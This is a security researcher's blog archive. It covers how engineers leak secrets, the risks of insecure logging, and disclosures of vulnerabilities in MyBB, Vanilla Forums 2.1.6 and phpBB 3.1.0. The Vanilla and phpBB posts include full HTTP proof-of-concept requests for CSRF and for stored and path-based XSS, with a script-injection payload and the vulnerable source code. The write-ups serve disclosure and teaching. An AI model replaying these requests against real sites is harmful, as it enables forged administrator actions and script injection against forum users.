Category Archives: Open Source Web Applications

5 typical ways engineers leak sensitive information and how to mitigate them

Background

From the AWS incidents where an engineer leaked private keys into a public Github repo to the credentials leakage in the online tool, Postman, it is obvious that our engineers could be the weak link in the system when it comes to critical sensitive data leaks.

By learning from all the publicly disclosed incidents, penetration testing experience and some security monitoring programs that I participated in, we could classify the common ways in which an engineer could leak sensitive information into 5 different areas.

Different Ways in Which Engineers Can Cause Sensitive Data Leakage

Sensitive Data Leaks in a Github Repo

The mistake that many developers make is to store secrets in their source code and check them into source control tools, like Github and Gitlab.  According to the latest GitGuardian report, 5.5 commits out of 1000 exposed at least one secret and 1 out of 10 authors are exposing secrets in a Github repo. 

You may argue that the security risk is manageable if these repos are private and only a few developers in your organization have access to them, even if this is a really lousy security practice. The incident experienced by Uber shows how bad things could get even if you put secrets in a private repository. In the incident, an attacker was able to access a S3 bucket with 57 million records of user data after extracting AWS credentials in a commit from a private repo. The worst-case situation is that you mistakenly push some secrets-containing code into public repositories, either under an enterprise or personal Github account. 

Mitigation

  1. Train the engineers not send company related information to a public repo
  2. Enable Secret Scanning in your CI/D pipeline

Sensitive Data Leaks in a Log File

The Log4j issue may be the first thing that springs to mind when thinking about security in logging functions. Yet, logging itself can pose a significant security risk because many  developers use it as an internal debugging tool and log far more data than is required. Sometimes, the logged data contains very sensitive information that should not be recorded anywhere as it would cause severe security incidents. For example, a couple of years back, Twitter sent out an announcement to its users and urged them to change their passwords due to unmasked passwords being logged into an internal log file.

We found that there are three main reasons why developers are logging sensitive information in to log files:

  • Debug log statements are not removed before shipping into production

Throughout development, many developers use logging as a debugging method. They added some log statements to track changes, but they forgot to delete the debug log statements before merging the code into production.

  • Developers are not fully aware of what is logged

As the system becomes more complex, one function requires interactions from multiple services and data is passed between many services. Data transmitted from an upstream service may contain sensitive data, but developers at a downstream service are unaware of the payload in the data. As a result, critical data may be unintentionally logged.

  • Filtering is not applied for debug log

Under some circumstances, it is necessary for a developer to log an error or exception along with the payload causing this error. This could be a problem if no filtering or masking is applied because the exception or the payload could contain sensitive data. 

Mitigation

  1. Integrate sensitive log statement detection with your CI/CD process and implement it at the PR level.
  2. Motivate peer reviewers to pay close attention to the log function
  3. Employ tagged or structured logging.

Sensitive Data Leaks When Using Online Tools

Presently, as more organizations go to the cloud, numerous tools, such as Base64 Decode, JSON format, Diff Checker, online data sharing tools, API testing platforms (i.e., Postman), and even the trendy ChatGPT, have online versions. Many developers benefit from these web tools because you may acquire your desired output with a simple copy/paste.

However, using these online tools carries the risk of disclosing some of your data to the public as you cannot control where your data will go. Many engineers appear to be unaware of the potential consequences. For example, according to a recent study, 2.3% of workers are pasting sensitive material into ChatGPT.

You can find a number of API tokens that have been exposed by searching Postman’s public network with certain keywords (token, secret, etc.).

Mitigation

  1. Engineers should be trained not to send sensitive data to internet tools.
  2. Instead of using online tools, install a toolkit locally.

Sensitive Data Leaks in Misconfigured Cloud Environments

Misconfiguration in a cloud environment is another way an engineer could mistakenly expose sensitive data publicly. There are many types of cloud misconfigurations, but a typical one is when an engineer gives too open permissions to some cloud assets. For example, an engineer could mistakenly configure a S3 bucket policy to grant public access to a bucket which contains sensitive information and cause sensitive data leakages. In addition, you could accidentally deploy internal instances to the public without authorization. 

Mitigation

  1. Keep persistent surveillance of your cloud environment.
  2. Apply your security setup during the build stage, and be wary about giving engineers or devops ad hoc access or permissions.
  3. Engineers should be given the bare minimum of permissions for the desired tasks.

Sensitive Data Leaks in insecure Channels

As a developer, it is safe to assume that you frequently use Zoom and Slack. Although these tools are simple to use, it is also  easy to see how we can unintentionally divulge private information and sensitive data via a Zoom chat or a Slack message.

You might think that we are just sharing among coworkers, but if you share sensitive information in a public channel where anyone at your company can see it, there is no way for us to know how widely it will be distributed both inside and beyond the company.

Mitigation

  1. Train employees to not share sensitive data that they wouldn’t put in an email
  2. Integrate some automation tools to detect sensitive data across these insecure channels

Conclusion

Both technical and human errors have the potential to expose sensitive information. Despite the fact that you implemented  strong data protection systems in place to guard against potential technical errors, there are still many ways in which a developer could expose private information.

When it comes to cybersecurity, humans are always the weakest link and human error is very difficult to avoid. For instance, a developer might unintentionally push private information into a public repository using  their own account; however, by the time we notice it with an automation tool, it would be too late. Please avoid making these frequent mistakes as a developer when committing your code or sharing certain data.

Insecure logging could be a burden to your security team

If you are part of a security team, it is very likely that your team has been feverishly remediating the vulnerabilities caused by log4j in the past two months.  It is really frustrating and struggling as the potential damage of this vulnerability could be catastrophic if exploited. However, the slimy bright side of it , at least, means that  your developer team is trying to implement logging functions in the product for monitoring or debugging purposes.

However, logging itself sometimes could be another security issue that is often overlooked as many developers are treating logging as an internal debugging and monitoring functions where security enforcement is often missing. I have observed many cases where improper logging functions turn out to be security incidents and add many burdens to its security team to overturn the damage.

Apply logging functions with security controls

Before we dive deep into the details, let us look at the following  piece of code from an old internal project that I created a while back. If you are using NodeJs Express framework, you could pinpoint that this piece of code is acting as a middleware to log every single HTTP request with the request body into a log file

The above piece of code definitely composes  security issues if you start to review it from security perspective. First of all, sensitive information in the HTTP request could be added to logs files and it could potentially cause a data leakage if the logs files are accessed by unauthorized users. The internal project is a web application with a login and registration function. As consequence of the above logging functions, the registration verification token and the username and password in the HTTP requestes could be leaked into the log files.

Potential Risks Caused by Logging

Risk 1: Sensitive Data are logged in log files

Logging sensitive data without proper masking or filtering methods is a common security ignorance from startup to enterprise due to many reasons. Couple of years back, twitter sent out an announcement for its users and urged them to change passwords due to unmasked/unfiltered passwords being logged into an internal log file.  

Reason 1: Security is not baked into entire SDLC

Many development organizations are involved their security teams at the test phase of the software/service development cycles. Without consulting the security team at design and development phase, many developers are not aware which data should be masked or filtered before implementing the log functions.

One tricky and representative example  that I have experienced was that the development teams got a list of blacklist data entries, like IP, password and token by referring to a document created from the security team a while back. They applied the filtering method into the log function without consulting with the Security team. However, the ‘referer’ header containing sensitive API tokens from customers was logged into the log files as it was not included in the predefined black list. This implementation mistake was discovered after the feature has been shipped into production environment and it took a while to purge the sensitive data from the log systems.

Reason 2:  Lack of standard logging functions in a complex environment

With more and more companies adopting the micro service architecture and making the development environment complex, lack of standard log functions could be another reason where sensitive data is logged and exposed into log files.

The following diagram is a typical workflow of micro service architecture, where the API gateway is exposed to the public to handle API requests and many micro servers are deployed in its private VPC to process the API requests.  Some developers are probably aware that sensitive data must be filtered out at the API gateway level before sending it to the S3 log system. However, when the requests passed are handled in the internal micro service (for example, micro service B), the developers might forget to perform the filtering as they believe the service is residing in the internal VPC and there is no need to filter sensitive data before writing to the log files. As a result of that, potential sensitive data could be logged in to the log file by some internal micro services.

Reason 3: Insufficient QA and Security Testing

It is common some QA are only performing blackbox testing whereas Security Team are only employing some automation scanning tools to scan the applications to find the potential flaw in the codes. Then it is very difficult for the QA team and security team to figure out the security issues caused by logging without manual code reviewing.

Risk 2: Malicious Data are process and logged without validation

Another risk when implementing logging functions and writing data to log is that maliciou data is processed and executed without any validation. You might be curious about why I should perform certain validation when processing the log data and storing it in a log file as the entire purpose of logging is to capture the raw data and use it for analysis. 

The reason is that you might be at risk of Deserialization exploitation when validation is absent from your logging functions. I have seen many developers dumping the entire object into the log file in some cases. When this happens, they are very likely to use some serialization functions to serialize the object and write it to the log file. After that, they may deserialize the logged data for analyzing purposes.  In this case, it is possible that you are at risk of deserialization exploitation.

Take the Log4j as an example, except the Log4jShell vulnerability, it has been suffering from a couple of deserialization vulnerabilities where untrusted log data could lead to remote code execuations.  

Some Best Practices

To ensure your logging function is not becoming a burden for your security and even turned against you when it leads to a security incident. Some best practices could be followed.

Involve Security at every phase of SDLC when implement log function

Security applies at every phase of the software development life cycle (SDLC). If you don’t have a security review procedure set up in your organization,  it is time for you to define it now.  By designing  a secure log function or log management feature by collaborating with your security team would save your organization much more time and effort. For example, the security team might ask you to avoid using GET instead of POST if your logging function is going to log all the requests in the log. They could also ask you to mask certain sensitive data as soon as the data is processed before it gets logged in to the log files.

Implement a standard and centralized logging function

When the organization is getting larger and larger, your platform and service is getting more sophisticated. Without a standard or centralized logging function, each team is forced to choose its own way to implement logging functions in the service they are in charge of. This could add many security uncertainties in the log functions as you could not foreseen how the logging function is implemented 

Consistent monitoring and scan your log data

Sometimes, unexpected data could still be logged into the log file even though you have set up strict logging functions to mask or filter all the sensitive data.  For example, your clients might not follow your API usage guidance and send sensitive data when calling your API endpoints. Your log function might log these sensitive data into the log files as the usage of the API is not intended as it was designed.  Under this case, you need to have a monitoring tool to scan your log data to check whether there is unexpected sensitive data logging into the log files.

Understand that data you are logging

If you could not measure it, you could not manage it”. It also applies to security. If you don’t know which kind of data you are logging, you could not really secure it. For example, if you are going to dump an entire object into your log file by calling some serialization functions without validation the object data, you are likely to log some malicious data and could lead to an exploitation. 

How Ignoring Low-Level Security Risks Can Open the Door to Major Attacks

With the rise in attacks against web applications, cyber security teams naturally have prioritized the elimination of high-risk threats, such as SQL injections and cross-site scripting (XSS) vulnerabilities. The flip side of this is that many cybersecurity teams choose to ignore or delay the remediation of low-level security vulnerabilities in their web applications. Unfortunately, this isn’t a wise strategy. Underestimating the importance of fixing low-level security issues could create a major problem for an organization. Why? By exploiting a combination of seemingly trivial vulnerabilities, attackers can sometimes open up a big security gap that lets them do extreme damage. In this article, I will demonstrate such a scenario, showing how by taking advantage of several unfixed low-level security issues, an attacker could gain full administrator access to a popular web application.

Three low level issues discovered in MyBB

In a recent audit of MyBB, I found three low-level security issues which, if exploited in aggregate, could allow a hacker to gain total control of this open source application which people use to create discussion forums. The issue has been partially addressed in its latest version — MyBB 1.8.7 – so users are no longer vulnerable to the danger described here.

Continue Reading at Qualys Community Blog

From XSS to CSRF, how to gain administrator control of websites hosting myBB

I describe how XSS vulnerabilities can be used to attack popular open source web applications and application frameworks, and how some web applications are compromised by CSRF attacks because of implementation flaws on the server side.

In most of the case, an attacker will combine these two kinds of vulnerability to launch destructive attacks. In a recent audit against MyBB 1.8.3, I discovered a XSS vulnerability and I demonstrated how to gain administrator access to the website hosting MyBB though session hijacking was prohibited there.  To get a quick look at this article, please read my blog under Qualys Community…

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

When I was conducting research about CSRF protection method in popular web applications  at Qualys.  As described in the research article, Vanilla Forum 2.1.6 is one of the victims that are suffering from CSRF attack though anti-CSRF tokens are deployed in the web applications. Currently, it has been fixed with VanillaForums 2.1.7

CSRF Vulnerabilities

CSRF Vulnerability 1

The CSRF vulnerability could be found at the post discussion function, which will enable an attacker to trigger the admin user to post as many malicious discussions as possible when an authenticated admin makes the following request

POC

POST /vanilla/index.php?p=/post/discussion HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 193
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920140
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=&DraftID=0&CategoryID=1&Name=CSRF_Attack&Body=Let us disscuss CSRF Here&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Post_Discussion=Post Discussion

The anti-CSRF token TransientKey  does not function because the server-side is not checking whether the anti-CSRF token TransientKey is presented or not. The request will be processed by the server-side even without the presence of the TransientKey. 

Following is the screenshot of the response by triggering the admin to make the request. As you could find, a new discussion with name “CSRF_Attack” will be posted at the main pages of the website.

Vanilla_CSRF_Vulnerability_1

CSRF Vulnerability 2

This vulnerability will allow an attacker to change/edit all the posted discussion in the forums by triggering admin user to make the following request.

POC

POST /vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 167
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Out&Body=CSRF_Attack&Format=Html&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

Similar to the previous CSRF vulnerability, this vulnerability was exposed because the server side does not check the anit-CSRF token when processing this request.Vanilla_CSRF_Vulnerability_2

XSS Vulnerability

Besides the CSRF vulnerability, actually there is an XSS vulnerability in the edit discussion function as well.

POC

POST / vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host:yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding:gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 221
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
  Connection: keep-alivePragma: no-cache
Cache-Control: no-cache

hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Ou&Body=CSRF_Attackt_XSS_Injection_Code&Format=&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

The injected XSS codes will not be filtered on the server and it will be executed directly on the browser .http://yourhost/vanilla/index.php?p=/discussion/1/, since the XSS code are the content of the discussion, which will be a store XSS vulnerabilityVanilla_XSS_Vulnerability.

Conclusion

As a web master, the presence of anti-CSRF token in the web application does not mean the web application is protected from CSRF attacking since the developer might forget to add the server-side validation to check whether the CSRF token is valid or not, you should double-check whether the anti-CSRF token is probably deployed.

As a pen tester, you should not stand off if you saw the csrf tokens in the html page. Just spend several seconds to check whether the anti-CSRF token is working, you might find a big rewards behind it.

 

 

 

Path Based XSS Vulnerability in PHPBB3.1.0

After reporting a Cross-Site Scripting vulnerability in Joomla 3.3.3, I spend some time to play with widely used open source software, pphBB3.1.0.   Without paying too much effort on it, I found a Cross-Site Scripting vulnerability in it and now it has been patched in phpBB 3.1.1.

Different to a normal XSS vulnerability, Path Based XSS vulnerability, as the name it indicates, is relatively special XSS vulnerability since the injection point is the PATH of HTTP Request,  which makes me to feel worthy to start a write up on it.

Where is the Path Based XSS in PHPBB 3.1.0?

POC

GET /phpBB3/index.php/><script>alert(‘XSS’)</script> HTTP/1.1
Host: yourdomain
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: phpbb3_gk69y_k=; phpbb3_gk69y_u=2Connection: keep-alive

The injected JavaScript Code will be reflected at

<body id=”phpbb” class=”nojs notouch section-index/“><script>alert(‘XSS’)</script> ltr “>

Note:  I was unable to exploit this vulnerability through a modern browser since it will encode the injected JavaScript code automatically as filename. In order to reproduce this vulnerability, you will need assistance from a proxy.

When digging into the source code, I observed this XSS vulnerability was actually caused by the following code

$symfony_request_path = $phpbb_filesystem->clean_path($symfony_request->getPathInfo());
if ($symfony_request_path !== ‘/’)
{
$page_name .= $symfony_request_path;
}                                                                                                                                            // phpbb/session.php
‘SCRIPT_NAME’      => str_replace(‘.’ . $phpEx, ”, $user->page[‘page_name’]),    // includes/functions.php:
<body id=\”phpbb\” class=\”nojs notouch section-“;
// line 55
echo (isset($context[“SCRIPT_NAME”]) ? $context[“SCRIPT_NAME”] : null);
echo ” “;
echo (isset($context[“S_CONTENT_DIRECTION”]) ? $context[“S_CONTENT_DIRECTION”] : null);
echo ” “;
echo (isset($context[“BODY_CLASS”]) ? $context[“BODY_CLASS”] : null);
echo “\”>”;

The source code indicates  injected JavaScript code was taken as the Page Name  and the application is then trying to render the PageName as index/”><script>alert(‘XSS’)</script> in the response page before encode it. As a consequence, it exposed XSS vulnerability.

Path Based XSS Vulnerability are on the stage

 

What is PATH Based XSS vulnerability

In general, PATH Based XSS vulnerability was composed when the request URLs are rendered directly in the response body without proper encoding or input validation.

The most common format of the PATH Based XSS vulnerability looks like.

<a href=” <?php echo $_SERVER[‘REQUEST_URI’];?>”>Click Here </a>

Special, but Not Rare

Path Based XSS vulnerability is special, but it is not rare vulnerability in web applications. With several years working experience in Qualys,   I have seen several cases in some open source web application, such as ATutor , E107 and TomatoCar ,etc.

A lot of developers may never think about the injection point could be the PATH of the URl. Normally, they think XSS vulnerability could only appear in request headers or request parameters. That could explain WHY PHPBB3 is suffering this vulnerability.

With no doubt, attention should be paid to check whether your website is suffering from path based XSS vulnerability because the developers might ignore this potential injection point.